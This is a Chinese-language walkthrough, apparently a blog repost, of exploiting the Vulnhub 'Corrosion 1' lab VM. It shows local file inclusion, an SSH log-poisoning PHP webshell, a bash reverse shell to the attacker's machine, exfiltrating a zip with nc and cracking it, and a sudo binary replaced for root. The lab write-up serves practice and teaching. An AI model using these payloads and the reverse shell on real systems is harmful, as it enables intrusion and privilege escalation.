自学内容网 自学内容网

vulnhub靶场之corrosion靶场1

corrosion靶场1

前言

靶机:corrosion靶场1

攻击:kali

主机发现

使用arp-scan -l发现主机IP,这里直接查看虚拟机需要登录,不过官方并没有提供密码,所以,扫描出IP地址

在这里插入图片描述

信息收集

使用nmap查看端口及服务

在这里插入图片描述

访问80端口,apache2默认界面,访问页面源码,没有有价值的东西

在这里插入图片描述

目录扫描,扫出两个路径

在这里插入图片描述

访问bolg-post路径查看,

一段留言和一张图片,页面源码中提供当前路径下有image.jpg图像,其他暂无

在这里插入图片描述

那么对该路径下,再做一次扫描

ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://192.168.1.30/blog-post/FUZZ -e .jpg,txt,html,png,xml 

在这里插入图片描述

发现两个重定向文件,访问uploads后发现还是原界面,一段文字,一张图,无其他有用东西

不过,访问archives,发现有一个php文件

在这里插入图片描述

下载,留着后面做分析,但是这里使用wget下载,发现是空的,打开发现,原来该PHP代码在网页中是一点资源都没有,全都是PHP代码,所以无法下载,不过记住了

访问另一个tasks,有一个task_todo.txt文件,直接下载并查看内容

在这里插入图片描述

发现文件内容是需要完成的任务,表示应该还没有完成的,不过这里需要记住,可能设置的是定时任务。

在这里插入图片描述

信息小结:

  1. 22端口采用OpenSSH 8.4p1 协议 2.0
  2. 80端口采用apache 2.4.46
  3. 系统为linux 4.x|5.x
  4. 80端口网址中包含名称randy
  5. 80端口/blog-post/archives目录下有一个PHP文件
  6. 80端口/tasks目录下有TXT文件

漏洞寻找利用

可以先使用hydra对名字randy尝试进行ssh爆破,先放在这里,然后去寻找其他的方法

爆破不行,考虑其他方法,发现之前那个PHP文件虽然不能下载,但是一般PHP文件都会有参数接收的。可能会有传参,使用burp进行爆破尝试,测试发现这个参数不管是什么都不会出错,说明不在乎

那么假设这里的参数可以是本地文件包含的话,进行测试,/etc/passwd

因为我这里虚拟机中的kali使用burp爆破有点卡,所以在物理机进行测试

这里确定是参数为file

在这里插入图片描述

可以使用,那么之前的tasks_todo.txt文件中有提到修改auth.log的权限,去访问看看,在其中可以看到登录信息,这是之前使用hydra爆破留下的痕迹,当时用户的用户名就是randy,可以发现这里留有痕迹

在这里插入图片描述

既然留下用户名登录时的痕迹,是否可以写一个webshell进入,然后连接成功呢, 进行测试

这里首先测试发现kali一直提示存在不合理的字符

ssh '<?php system($_GET['cmd']);?>'@192.168.1.30

所以,采用别名方法绕过,编辑~/.ssh/config文件,在其中编写

Hostname myserver
Hostname 192.168.1.30
User'<?php system($_GET['cmd']);?>'

这时候再使用ssh连接即可

ssh myserver

在这里插入图片描述

测试是否成功,注意前面是通过file的传参,所以这里要使用&调用cmd测试

在这里插入图片描述

尝试进行一个反弹shell

在kali上开启监听

nc -lvvp 9999
echo "bash -i >& /dev/tcp/192.168.1.16/9999 0>&1" | bash
然后把上面的echo一串进行URL编码处理

在这里插入图片描述

提权

使用find查看有无可用的SUID权限

find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述

发现有sudo,进行尝试,发现都不行

在这里插入图片描述

使用find寻找一些关键字吧,如userpassback等,因为数据太多,最终在back*搜索中,找到一个可疑目录

在这里插入图片描述

切换到目录发现有一个user开头的,很可以,进行下载

在这里插入图片描述

尝试解压,发现需要密码,测试发现靶机有nc可用,直接通过nc下载

在这里插入图片描述

在靶机上,通过nc把zip包发送给kali地址的7777端口
nc 192.168.1.16 7777 < user_backup.zip
在kali上开启,通过监听7777端口,并把传递信息保存在user_backup.zip
nc -lv -p 7777 > user_backup.zip

使用fcrackzip进行破解

fcarckzip -u -D -p /usr/share/wordlists/rockyou.txt user_backup.zip
-u 暴力破解
-D 字典模式
-p 指定字典

在这里插入图片描述

或者使用zip2john把zip文件改为john可识别的类型

在这里插入图片描述

然后使用john进行破解

在这里插入图片描述

知道密码后进行解压,获取ssh密钥以及密码和一个c语言编程

在这里插入图片描述

查看/home目录下有哪些用户

在这里插入图片描述

尝试使用ssh连接randy,并用获取到的密码登录

在这里插入图片描述

使用find查找SUID权限

find / -perm -u=s -type f 2>/dev/null

发现和上面一样,有一个sudo比较特殊,找到一个可以以root执行的文件,且当前用户不被允许以root运行/bin/bash

在这里插入图片描述

发现没有写权限,但是有s也就是特权,想起在之前解压文件时,提供了一个名称一样的文件

在这里插入图片描述

查看之前的文件,可以看到是进行一些设置,0表示特权,比如root就是0,整体就是设置提权的,然后执行下面的命令,如果在其中添加一个调动shell的是否可行

在这里插入图片描述

修改代码

#include<unistd.h>
#include<stdlib.h>//c语言中的标准头文件
void main()
{ setuid(0);
  setgid(0);
  system("/bin/bash -i");

  system("cat /etc/hosts");

  system("/usr/bin/uname -a");

}

然后在靶机上创建一个c文件,并把上面内容复制其中,发现vim不可用,可以使用其他的,如vi、nano

在这里插入图片描述

然后使用gcc命令进行编译,注意,编译出的文件要与可执行特权的文件名一致easysysinfo

而且可以看到这里的s特权已经没有了

在这里插入图片描述

但是使用sudo -l却表示,这里还是可以的

在这里插入图片描述

sudo执行文件,发现提权成功

在这里插入图片描述

总结

  1. 目录扫描时若发现有php类似脚本文件,可能会有参数传值,可以进行参数爆破
  2. 利用文件包含获取新的bash
  3. 压缩包的密码破解,可以使用工具fcrackzip或者john套件
  4. 提权时,仔细观察具有SUID的,假设sudo,这里就是通过sudo -l来查询,然后同名替换,执行提权

原文地址:https://blog.csdn.net/China_I_LOVE/article/details/144070978

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!